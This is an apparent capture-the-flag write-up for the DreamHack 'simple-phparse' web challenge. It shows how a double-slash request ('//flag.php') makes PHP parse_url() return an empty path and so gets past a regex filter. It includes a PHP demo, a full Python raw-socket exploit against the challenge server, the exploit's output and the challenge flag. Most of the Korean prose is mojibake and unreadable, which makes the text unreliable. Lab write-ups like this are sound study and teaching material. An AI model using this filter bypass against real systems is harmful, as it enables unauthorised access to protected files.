๋ฌธ์ : DreamHack โ simple-phparse ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 3 FLAG:
DH{0DB34CA258F33CDC4928EC7EAD7FAD468D2DD255805FF183927A7A15772745FB}
์ ์ํ๋ฉด ์์ฒญ URL์ ํ์ฑํด์ host / path / query๋ฅผ ๊ทธ๋๋ก ํ๋ฉด์ ๋ฟ๋ ค์ฃผ๋ ํ์ด์ง๊ฐ ๋ฌ๋ค. ์ด๋ฆ ๊ทธ๋๋ก "PHParse".

flag.php๋ผ๋ ์ด๋ฆ์ด ์์ค์ ๋๋๊ณ ๋ฑ์ฅํ๋๋ฐ, ์ ์ ๊ทธ ๊ฒฝ๋ก๋ก ์ ๊ทผํ๋ฉด ์ฐจ๋จ๋นํ๋ค. ์ฐจ๋จ ๋ก์ง์ด parse_url() ์์ ์ ์๋ค๋ ๊ฒ ์ด ๋ฌธ์ ์ ์ ๋ถ๋ค.
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | simple-phparse |
| ๋์ด๋ | ๐ฅ Bronze 3 |
| ๋ถ๋ฅ | Web (PHP) |
| ์ ๊ณต ํ์ผ / ์๋ฒ | index.php ์์ค + ๋ผ์ด๋ธ ์๋ฒ |
| ์คํ | nginx + PHP |
| ํต์ฌ ์ทจ์ฝ์ | parse_url() ์ // ์ ๋ ํด์ ์ฐจ์ด๋ก path ํํฐ ์ฐํ |
ํ์ด ํ๋ฆ์ ์งง๋ค. ์์ค๋ฅผ ๋ณด๋ฉด ๊ฒฝ๋ก ํํฐ๊ฐ parse_url() ์ ๋ฐํ๊ฐ์ ๊ฑธ๋ ค ์๋ค. ๊ทธ ํจ์๊ฐ ์ด๋ค ์
๋ ฅ์์ ์ด๋ป๊ฒ ๊ฐ๋ผ์ง๋์ง ๋ผ์ด๋ธ๋ก ์ฐ๋ฌ๋ณด๊ณ , ํํฐ๊ฐ ๊ฒ์ฌํ๋ $path ๋ฅผ ๋น์๋ฒ๋ฆฌ๋ ์
๋ ฅ์ ์ฐพ์ผ๋ฉด ๋๋๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ parse_url() ์ด URL์ ์๋ฅด๋ ๊ท์น
PHP์ parse_url() ์ ๋ฌธ์์ด ํ๋๋ฅผ ๋ฐ์ schemeยทhostยทportยทpathยทquery ๊ฐ์ ๊ตฌ์ฑ์์๋ก ์ชผ๊ฐ ๋ค. ๋ ๋ฒ์งธ ์ธ์๋ก PHP_URL_HOST, PHP_URL_PATH ๋ฑ์ ์ฃผ๋ฉด ํด๋น ๋ถ๋ถ๋ง ๋ฝ์ ๋๋ ค์ค๋ค.
$url = $_SERVER['REQUEST_URI']; // ์: "/foo/bar?q=1"
$host = parse_url($url, PHP_URL_HOST);
$path = parse_url($url, PHP_URL_PATH);
$query= parse_url($url, PHP_URL_QUERY);์ฌ๊ธฐ์ ๋์น๊ธฐ ์ฌ์ด ๊ท์น์ด ํ๋ ์๋ค. ๋ฌธ์์ด์ด // ๋ก ์์ํ๋ฉด parse_url ์ ๊ทธ ๋ค๋ฅผ authority(host[:port]) ๋ก ๋ณธ๋ค. scheme://host/path ์์ scheme๋ง ๋น ์ง ํํ(//host/path)๋ก ์ฝ๋ ๊ฒ์ด๋ค.
/flag.phpโ path๋/flag.php, host๋ ์์//flag.phpโ host๊ฐflag.php, path๋ ๋น์ด ์์
์ฆ ์ฌ๋์ ํ ๊ฐ ์ฐจ์ด๋ก ๊ฐ์ ๋ฌธ์์ด์ด "๊ฒฝ๋ก"๊ฐ ๋๊ธฐ๋ ํ๊ณ "ํธ์คํธ"๊ฐ ๋๊ธฐ๋ ํ๋ค. ์ด ๋ฌธ์ ์ ํํฐ๊ฐ ๋ณด๋ ๊ฐ์ด ๋ฐ๋ก ๊ทธ ๊ฒฝ๋ก๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ ํํฐ๊ฐ ๋ณด๋ ๊ฐ์ $path ํ๋
์ ๊ณต๋ index.php ๋ ์งง๋ค.
$url = $_SERVER['REQUEST_URI'];
$host = parse_url($url, PHP_URL_HOST);
$path = parse_url($url, PHP_URL_PATH);
$query = parse_url($url, PHP_URL_QUERY);
echo "host: $host / path: $path / query: $query";
if (preg_match("/flag.php/i", $path)) {
echo "NO....";
} else {
echo "Cannot access flag.php: $path";
}์ฐจ๋จ ์กฐ๊ฑด์ preg_match("/flag.php/i", $path) ํ๋๋ค. ๊ฒ์ฌ ๋์์ host๋ query๋ ์๋ $path ๋ฟ์ด๋ค. ๊ทธ๋ฌ๋ ๋ชฉํ๋ ๋จ์ํด์ง๋ค โ flag.php ๋ก ์ ๊ทผํ๋ฉด์ $path ์์๋ ๊ทธ ๋ฌธ์์ด์ด ๋จ์ง ์๊ฒ ๋ง๋ค๋ฉด ๋๋ค.
๋ฌด์์ ์ ์ดํ ์ ์๋ โ ์ง์ ์ฐ๋ฌ๋ณด๊ธฐ
์ด ํ์ด์ง๋ ์น์ ํ๊ฒ๋ ํ์ฑ ๊ฒฐ๊ณผ๋ฅผ ๊ทธ๋๋ก ํ๋ฉด์ ๋ฟ๋ฆฐ๋ค. ๊ตณ์ด ๋ก์ปฌ์ PHP๋ฅผ ๊น ํ์ ์์ด ์๋ฒ์ ์ฌ๋ฌ URL์ ๋ณด๋ด๋ณด๋ฉฐ parse_url ์ ์ค์ ๋์์ ๋์ผ๋ก ํ์ธํ ์ ์๋ค.
๋จผ์ ํ๋ฒํ ๊ฒฝ๋ก. /foo/bar?q=test ๋ฅผ ๋ณด๋ด๋ฉด path์ query๊ฐ ๊ธฐ๋๋๋ก ๊ฐ๋ผ์ง๋ค.

์ด๋ฒ์ ์์ ์ฌ๋์๋ฅผ ํ๋ ๋ ๋ถ์ฌ //dreamhack.io/secret?q=1 ์ ๋ณด๋ธ๋ค. ๊ฒฐ๊ณผ๊ฐ ํ ๋ฌ๋ผ์ง๋ค.

host: dreamhack.io, path: /secret. ์ฌ๋์ ๋ ๊ฐ ๋ค์ dreamhack.io ๊ฐ ํธ์คํธ๋ก ๋นจ๋ ค ๋ค์ด๊ฐ๋ค. ๋ฐฐ๊ฒฝ์์ ์ค๋ช
ํ ๊ท์น์ด ์๋ฒ์์ ๊ทธ๋๋ก ์ฌํ๋๋ค. ์ฌ๊ธฐ๊น์ง ์ค๋ฉด ๋ต์ด ๋ณด์ธ๋ค โ flag.php ๋ฅผ ์ ํธ์คํธ ์๋ฆฌ์ ๋ฐ์ด ๋ฃ์ผ๋ฉด ๋๋ค.
๐ ์ฝ์ง โ ์์งํ๊ฒ /flag.php
๋น์ฐํ ์ฒ์์ ๊ทธ๋ฅ /flag.php ๋ก ๋ค์ด๊ฐ ๋ณธ๋ค.
โถ๐ ์ฝ์ง โ /flag.php ์ง์ ์ ๊ทผ์ ํํฐ์ ๊ฑธ๋ฆฐ๋ค
GET /flag.php
flag.php ๋ index์ ๋๊ฐ์ด parse_url + preg_match ํํฐ๋ฅผ ์น๊ณ ์๋ค. /flag.php ๋ path๊ฐ /flag.php ๊ทธ๋๋ก๋ผ preg_match("/flag.php/i", $path) ์ ์ ํํ ๊ฑธ๋ฆฐ๋ค. ํ๋ฉด์๋ flag ๋์ NO... ๋ง ๋จ๋๋ค. ๋์๋ฌธ์๋ฅผ ๋ฐ๊ฟ๋ ์ ๊ท์์ /i ๊ฐ ๋ถ์ด ์์ด ์์ฉ์๋ค.
ํํฐ๊ฐ ๊ฒฝ๋ก ๋ฌธ์์ด์ ์ง์ ์ก์๋ด๋, ๊ฒฝ๋ก์์ flag.php ๋ฅผ ๋นผ๋๋ ค์ผ ํ๋ค. ์ ์ฐฐ์์ ๋ณธ // ๊ท์น์ด ๋ฐ๋ก ๊ทธ ์๋จ์ด๋ค.
๐ฃ ํต์ฌ โ ์ฌ๋์ ํ๋๋ก path ๋น์ฐ๊ธฐ
//flag.php ๋ฅผ ์์ฒญํ๋ฉด parse_url ์ flag.php ๋ฅผ ํธ์คํธ๋ก ์ฝ๊ณ path๋ ๋น ๋ฌธ์์ด์ ๋๋ ค์ค๋ค. ํํฐ๊ฐ ๊ฒ์ฌํ๋ $path ๊ฐ ๋น์ด ์์ผ๋ preg_match ๋ ์๋ฌด๊ฒ๋ ๋งค์นญํ์ง ๋ชปํ๊ณ , ์ฝ๋๋ else ๋ถ๊ธฐ๋ก ํ๋ฌ flag๋ฅผ ๋ฑ๋๋ค.

๋ง๋ก๋ง ํ๋ฉด ๋ฏธ๋ฅ์ง ์์ผ๋ PHP parse_url ์ ์ง์ ๋๋ ค ํ์ธํ๋ค. ์๋๋ ๋ค ๊ฐ์ง ์
๋ ฅ์ ๋ฃ๊ณ host / path / ํํฐ ๊ฒฐ๊ณผ๋ฅผ ํ๋ก ์ฐ๋ ์คํฌ๋ฆฝํธ๋ค.
<?php
// parse_demo.php โ parse_url์ด REQUEST_URI๋ฅผ ์ด๋ป๊ฒ ์ชผ๊ฐ๋์ง ํ์ธ
$cases = ["/flag.php", "//flag.php", "/index.php?a=1", "////flag.php"];
printf("%-14s | %-10s | %-10s | %s\n", "REQUEST_URI", "host", "path", "preg /flag.php/i on path");
foreach ($cases as $u) {
$host = parse_url($u, PHP_URL_HOST);
$path = parse_url($u, PHP_URL_PATH);
$hit = preg_match("/flag.php/i", (string)$path) ? "MATCH โNO..." : "no match โํต๊ณผ";
printf("%-14s | %-10s | %-10s | %s\n", $u, var_export($host,true), var_export($path,true), $hit);
}
/flag.php ๋ง path์ /flag.php ๋ฅผ ๋จ๊ฒจ MATCH๋ก ๊ฑธ๋ฆฌ๊ณ , ๋๋จธ์ง ์
์ ์ ๋ถ ํต๊ณผ๋ค. //flag.php ๋ host๊ฐ flag.php, path๋ NULL. ////flag.php ์ฒ๋ผ ์ฌ๋์๋ฅผ ๋ ๋๋ฆฌ๋ฉด ํ์ฑ ์์ฒด๊ฐ ์คํจํด hostยทpath๊ฐ ๋ชจ๋ false ๊ฐ ๋๋๋ฐ, ์ด ์ญ์ ํํฐ๋ฅผ ํต๊ณผํ๋ค. ์ฐ๋ฆฌ๊ฐ ์ธ ๊ฑด ๊ฐ์ฅ ๊น๋ํ //flag.php ๋ค.
๐ฏ ์ต์คํ๋ก์ โ //flag.php
๋ธ๋ผ์ฐ์ ์ฃผ์์ฐฝ์ http://<host>:<port>//flag.php ๋ฅผ ๊ทธ๋๋ก ์น๋ฉด ๋๋ค. Chromium์ ๊ฒฝ๋ก์ ์ด์ค ์ฌ๋์๋ฅผ ์ ๊ทํํ์ง ์๊ณ GET //flag.php ๋ก ๋ณด๋ธ๋ค.

ํ๋ฉด ํ๋จ์ PATH: ๊ฐ ํ
๋น์ด ์๋ ๊ฒ ์ฐํ์ ์ฆ๊ฑฐ๋ค. path๊ฐ ๋น ๋ฌธ์์ด์ด๋ผ ํํฐ๊ฐ ๊ฑธ๋ฆฌ์ง ์์๊ณ , ๊ทธ ์๋์ flag๊ฐ ๊ทธ๋๋ก ์ฐํ๋ค.
ํ ๊ฐ์ง ์ฃผ์์ . requests ๋ urllib ๊ฐ์ HTTP ํด๋ผ์ด์ธํธ๋ ์์ฒญ ๋ผ์ธ์ ์ ๊ทํํ๋ฉด์ // ๋ฅผ / ๋ก ์ ์ด๋ฒ๋ฆด ์ ์๋ค. ๊ทธ๋ฌ๋ฉด ์๋ฒ์ /flag.php ๊ฐ ๋์ฐฉํด ๋ค์ ์ฐจ๋จ๋๋ค. ๊ทธ๋์ ์ต์คํ๋ก์์ ์์ฒญ ๋ผ์ธ์ ์๋์ง ์๋ ๋ฐฉ์์ด์ด์ผ ํ๋ค โ raw ์์ผ์ผ๋ก ์ง์ ์ฐ๊ฑฐ๋, curl --path-as-is ๋ฅผ ์ด๋ค.
๐ Full Exploit
raw ์์ผ์ผ๋ก ์์ฒญ ๋ผ์ธ์ ๊ทธ๋๋ก ์ค์ด ๋ณด๋ด๋ ์์ฒด ์๊ฒฐ ์คํฌ๋ฆฝํธ๋ค. ์์งํ /flag.php ์ ์ฐํ //flag.php ๋ฅผ ๋๋ํ ๋ณด๋ด ์ฐจ์ด๋ฅผ ๋ณด์ฌ์ฃผ๊ณ , ์๋ต์์ flag๋ฅผ ๋ฝ๋๋ค.
#!/usr/bin/env python3
# simple-phparse ์์ฒด์๊ฒฐ ์ต์คํ๋ก์
import socket, re
HOST, PORT = "host3.dreamhack.games", 15122
def fetch(target):
req = (f"GET {target} HTTP/1.1\r\n"
f"Host: {HOST}\r\nConnection: close\r\n\r\n")
s = socket.create_connection((HOST, PORT), timeout=10)
s.sendall(req.encode())
buf = b""
while True:
chunk = s.recv(4096)
if not chunk: break
buf += chunk
s.close()
return buf.decode(errors="replace")
def signal(html):
if "NO..." in html: return "์ฐจ๋จ๋จ: NO..."
m = re.search(r"flag is (DH\{[^}]+\})", html)
return f"flag ๋
ธ์ถ: {m.group(1)}" if m else "(์ ์ ์๋ ์๋ต)"
print("[1] GET /flag.php โ", signal(fetch("/flag.php")))
resp = fetch("//flag.php")
print("[2] GET //flag.php โ", signal(resp))
flag = re.search(r"DH\{[0-9A-Fa-f]+\}", resp)
print("[+] FLAG =", flag.group(0) if flag else "not found")
/flag.php ๋ ์์๋๋ก NO... ๋ก ๋งํ๊ณ , //flag.php ์์ flag๊ฐ ๊ทธ๋๋ก ๋จ์ด์ง๋ค.
[1] GET /flag.php โ ์ฐจ๋จ๋จ: NO...
[2] GET //flag.php โ flag ๋
ธ์ถ: DH{0DB34CA258F33CDC4928EC7EAD7FAD468D2DD255805FF183927A7A15772745FB}
[+] FLAG = DH{0DB34CA258F33CDC4928EC7EAD7FAD468D2DD255805FF183927A7A15772745FB}๐ ๊ฒฐ๋ก
ํํฐ์ ์ ๋ ฅ๊ณผ ์ค์ ๋์์ ์ ๋ ฅ์ด ๋ค๋ฅด๋ฉด ์ฐํ๋ ์๊ฐ๋ฌธ์ ๋ค.
์ด ๋ฌธ์ ์ ๋ฐฉ์ด๋ "์์ฒญ ๊ฒฝ๋ก์ flag.php ๊ฐ ์์ผ๋ฉด ๋ง๋๋ค"์๋ค. ๊ทธ๋ฐ๋ฐ ๊ทธ ๊ฒฝ๋ก๋ฅผ ๋ฝ๋ parse_url() ์ ๊ฐ์ ๋ฌธ์์ด์ ์ฌ๋์ ๊ฐ์์ ๋ฐ๋ผ ๋ค๋ฅด๊ฒ ํด์ํ๋ค. ํํฐ๊ฐ ๋ณด๋ $path ์ ์ฌ๋์ด ์๊ฐํ๋ "์์ฒญํ ํ์ผ"์ด ์ด๊ธ๋๋ ์๊ฐ, ๊ฒ์ฌ ์์ฒด๊ฐ ๋ฌด์๋ฏธํด์ง๋ค.
๊ฒฝ๋ก ๊ธฐ๋ฐ ์ ๊ทผ ์ ์ด๋ ์ ์ด์ ์ทจ์ฝํ๋ค.
ํ์ผ์ ์จ๊ธฐ๊ณ ์ถ๋ค๋ฉด ์ด๋ฆ์ ๋ฌธ์์ด๋ก ํํฐ๋งํ ๊ฒ ์๋๋ผ, ์น ๋ฃจํธ ๋ฐ์ ๋๊ฑฐ๋ ์๋ฒ ์ค์ (์ธ์ฆยทIP ์ ํ)์ผ๋ก ๋ง์์ผ ํ๋ค. ์ ํ๋ฆฌ์ผ์ด์ ๋ ๋ฒจ์์ URL ๋ฌธ์์ด์ ์ ๊ท์์ผ๋ก ๊ฑธ๋ฌ ์ ๊ทผ์ ํต์ ํ๋ ค๋ ์๋๋ ํ์์ ์ฌ์ํ ํด์ ์ฐจ์ด ํ๋์ ๋ฌด๋์ง๋ค.
์ ๊ทํ๋ ๊ฒ์ฌ๋ณด๋ค ๋จผ์ .
๊ตณ์ด ๋ฌธ์์ด๋ก ๊ฑธ๋ฌ์ผ ํ๋ค๋ฉด, ๊ฒ์ฌ ์ ์ ๊ฒฝ๋ก๋ฅผ ํ ๋ฒ ์ ๊ทํ(canonicalize)ํด์ //ยท/./ยท%2e ๊ฐ์ ํํ์ ํ๋๋ก ์ ์ ๋ค ๋น๊ตํด์ผ ํ๋ค. ํ์๊ฐ ๋ด๋๋ ์ฌ๋ฌ ํํ์ ๊ทธ๋๋ก ์ ๋ขฐํ๋ฉด, ์ด๋ฒ์ฒ๋ผ ์ฌ๋์ ํ๋์ ํต์งธ๋ก ๋ซ๋ฆฐ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ